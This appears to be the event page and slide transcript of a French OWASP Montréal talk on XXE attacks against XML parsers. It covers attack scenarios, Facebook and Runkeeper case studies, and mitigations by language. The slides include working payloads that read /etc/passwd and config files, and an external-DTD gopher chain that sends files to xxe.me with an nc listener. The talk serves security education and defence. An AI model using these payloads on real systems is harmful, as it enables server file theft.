XXE : À l’assaut des analyseurs XML par Philippe Arteau

XXE : À l’assaut des analyseurs XML par Philippe Arteau

OWASP Montréal - 23 Octobre - XXE : À l’assaut des analyseurs XML

PRÉSENTATEUR PRINCIPAL: Philippe Arteau

RÉSUMÉ: L'utilisation d’XML est fortement répandue. Le format est utilisé pour des fichiers de configuration, pour des métadonnées, pour des documents textes, et bien plus. La prise en charge de fichiers XML n’est pas sans risque. La plupart des analyseurs XML ne sont pas sécuritaires par défaut pour le traitement de fichier externe. Cette présentation fera un survol des vulnérabilités de type « Xml eXternal Entity » et de l’étendue des risques pour différents langages de programmation. Plusieurs démonstrations sont prévues.

BIO: Philippe est conseiller en sécurité applicative pour le Groupe Technologies Desjardins. Au quotidien, il s’occupe d’effectuer des tests d’intrusions et des revues de code. Il a découvert des vulnérabilités importantes dans plusieurs logiciels populaires incluant Google Chrome, DropBox, ESAPI et Jira.

QUAND: 23 Octobre 2014 à 18h00

OÙ: École de Technologie Supérieure Local A-3230, 1100 Rue Notre-Dame Ouest, Montréal, QC H3C 1K3

PARTENAIRE ACADÉMIQUE: ETS - DCI http://dciets.com/

WEBCAST: https://www.youtube.com/watch?v=MZviLB9-42E

09905cce02942fb076f958f4b69fd8f6?s=128

OWASP Montréal

October 23, 2014
Tweet

Transcript

  1. <XXE/> : À l'assaut des analyseurs XML Philippe Arteau //

    @h3xStream
  2. Expérience en sécurité

  3. Agenda • Ingrédients ◦ Entités XML ◦ Entités SYSTEM •

    Attaque ◦ Scénario ◦ Limitations ◦ Astuces PHP / Java • Études de cas ◦ Facebook ◦ Runkeeper • Mitigations ◦ Ruby/PHP/Python ◦ Java/.NET XML
  4. Ingrédients XML

  5. Entité XML (HTML) &nbsp; &eacute; &gt; &quote; &am p;

  6. Entité XML <p>S&eacute;curit&eacute;</p> <p>Sécurité</p>

  7. Entité XML <!DOCTYPE foo [ <!ENTITY prefix "app1_" > ]>

    <list><e>&prefix;a</e><e>&prefix;b</e> <e>&prefix;c</e></list> <list><e>app1_a</e><e>app1_b</e><e>app1_c</e> </list>
  8. Entité SYSTEM <!DOCTYPE foo [ <!ENTITY config SYSTEM "file:///extra/config" >

    ]> <config><db>192.168.6.102</db>&config;</config> <config><db>192.168.6.102</db> <ws_url>http://a.com/b.wsdl</ws_url> <prod>false</prod> </config>
  9. Scénario d’attaque XML

  10. Scénario d’attaque <data>some data</data> (SOAP, REST, SVG, DOCX, RSS, GPX,

    HTML, etc.)
  11. Scénario d’attaque <!ENTITY file SYSTEM "file:///etc/passwd" >.. <data>&file;</data> <data>some data</data>

  12. Scénario d’attaque [...]<data>&file;</data> data: root:!:0:0::/:/usr/bin/[...]

  13. Limitations Lecture de fichiers mais… if($user == ‘admin’ && $password

    == ‘Hackfest’) <?xml version="1.0" encoding="UTF-8"?><secret>[...]</secret> I <3 Hackfest & NorthSec
  14. Démonstration 1 Obtention d’un fichier (/etc/passwd)

  15. Astuce PHP Pseudo-procotole et encodage XML

  16. Pseudo-protocole PHP <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64- encode/resource=/config.php">

    ]> <data>&xxe;</data> <data>PD9waHANCiRwYXNzd29yZCA9ICJZT0xPIjsNCj8+ </data>
  17. Démonstration 2 Obtention de fichiers avec caractères spéciaux

  18. Astuce Java Exfiltration avec DTD externe et le protocol gopher

    XML
  19. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/?%file;'>"> %all;
  20. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/?%file;'>"> %all; <!ENTITY % file SYSTEM "file:///etc/passwd">
  21. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me: 1337/?root:!:0:0::/:/usr/bin/[...]'>"> %all;
  22. Exfiltration de données avec DTD Démonstration 3

  23. Étude de cas #1 Facebook OpenID

  24. 5. Autorisation 3. Information Protocole OpenID 4. Validation auth. 6.

    Résultat 1. Authentification 2. Discovery
  25. Attaque effective (- Nov 2013) 2. Discovery Référence: XXE in

    OpenID [...] 1. Authentification GET /openid/receiver.php?[..]& openid.op_endpoint=https: //evil.com/id&[...] 3. Information <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/etc/passwd" > ]> <xrd:Service priority="0"> <xrd:Type>&xxe;</xrd:Type> [...] 4. Résultat Endpoint mismatch. Expected "[...]" got "root:x:0:0:root:\/root: \/bin\/bash\n \ bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \ daemon:x:2:2:daemon:\/sbin: \/sbin\/nologin
  26. Étude de cas #2 Téléversement Runkeeper

  27. Téléversement de fichiers GPX 2. Confirm ation 1. Upload Fichier

    G PX
  28. XXE sur Runkeeper en action Démonstration 4

  29. 5. (retour) Téléversement de fichiers GPX 2. http://[..]/evil.dtd Référence: XXE

    on Runkeeper [...] 6. Confirm ation 1. Upload Fichier G PX <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil.dtd"> %dtd;]> <gpx 3. (retour) <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me: 1337/xxe?%file;'>"> %all; 4. gopher://[..]/?FICHIER $ nc -nlvk 1337 Listening on [0.0.0.0] Connection from [74.50.53.234] port 1337 [tcp/*] accepted root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin: /bin/sh bin:x:2:2:bin:/bin:/bin/sh
  30. Mitigations

  31. Ruby • REXML (utilisé par rails) ◦ Mise à jour

    requise pour XEE (CVE-2014-8080) • Plusieurs librairies vulnérables ◦ nokogiri (issue 693) ◦ OneLogin ruby-saml (issue 126)
  32. PHP • libxml ◦ Mise à jour requise PHP version

    >= 5.3.23 • Identification de cas à risque : $doc = simplexml_load_string($content, NULL, LIBXML_NOENT);
  33. Python • xml.sax • xml.dom.pulldom : Vulnérable au XXE Références:

    XXE attacks and disabling remote entity XML Vulnerabilities - python.org parser = xml.sax.make_parser() parser.setFeature(xml.sax.handler.feature_external_ges, 0)
  34. Java (SaxParser) • Mise à jour de la JVM (protocole

    gopher) • Paramètres requis Scanneur automatisé : FindBugs spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  35. .NET (System.XML) • .NET 3.5 ◦ XmlReader sécuritaire par défault

    ◦ XmlTextReader doit être configuré: • .NET 4.0 ◦ Sécuritaire XmlTextReader reader = new XmlTextReader(stream); reader.ProhibitDtd = true; Référence : https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing#.NET
  36. Pour en savoir plus.. Références

  37. Conférences sur le même sujet Attacking XML Preprocessing - Nicolas

    Grégoire What You Didn't Know About XML External Entities Attacks - Timothy Morgan XML Out-of-Band Data Retrieval - Alexey Osipov and Timur Yunusov
  38. Articles et papiers • Identifying Xml eXternal Entity vulnerability (XXE)

    - Moi :) • XML Data Retrieval - Alexey Osipov and Timur Yunusov • XML Schema, DTD, and Entity Attacks - Timothy D. Morgan
  39. @h3xstream http://blog.h3xstream.com XML